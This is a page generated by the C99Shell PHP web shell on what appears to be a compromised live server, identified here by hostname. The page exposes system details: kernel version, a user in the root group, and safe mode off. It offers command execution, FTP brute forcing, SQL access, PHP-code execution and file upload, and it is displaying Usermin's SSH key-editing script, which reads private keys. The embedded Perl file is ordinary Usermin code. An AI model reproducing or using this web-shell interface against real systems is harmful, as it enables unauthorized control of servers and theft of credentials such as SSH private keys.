!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/usermin/ssh/   drwxr-xr-x
Free 28.38 GB of 117.98 GB (24.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edit_key.cgi (1.24 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show details of one key

require './ssh-lib.pl';
&ReadParse();
@keys = &list_ssh_keys();
($key) = grep { $_->{'private_file'} eq $in{'file'} } @keys;
$key || &error($text{'ekey_egone'});

&ui_print_header(undef, $text{'ekey_title'}, "");

print &ui_form_start("save_key.cgi", "form-data");
print &ui_hidden("file", $in{'file'});
print &ui_table_start($text{'ekey_header'}, undef, 2);

# Private key
if ($key->{'type'} eq 'rsa1') {
    # Old format is binary .. offer to download and upload
    $short = $key->{'private_file'};
    $short =~ s/^.*\///;
    print &ui_table_row($text{'ekey_private1'},
        "<a href='download_key.cgi/$short?file=".
        &urlize($key->{'private_file'})."'>$text{'ekey_down'}</a>");

    print &ui_table_row($text{'ekey_private2'},
        &ui_upload("private"));
    }
else {
    # New format is test
    print &ui_table_row($text{'ekey_private'},
        &ui_textarea("private",
                 &read_file_contents($key->{'private_file'}),
                 10, 80));
    }

# Public key
print &ui_table_row($text{'ekey_public'},
    &ui_textarea("public", &read_file_contents($key->{'public_file'}),
             10, 80, undef, 0, "readonly=true"));

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'ekey_save'} ] ]);

&ui_print_footer("list_keys.cgi", $text{'lkeys_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--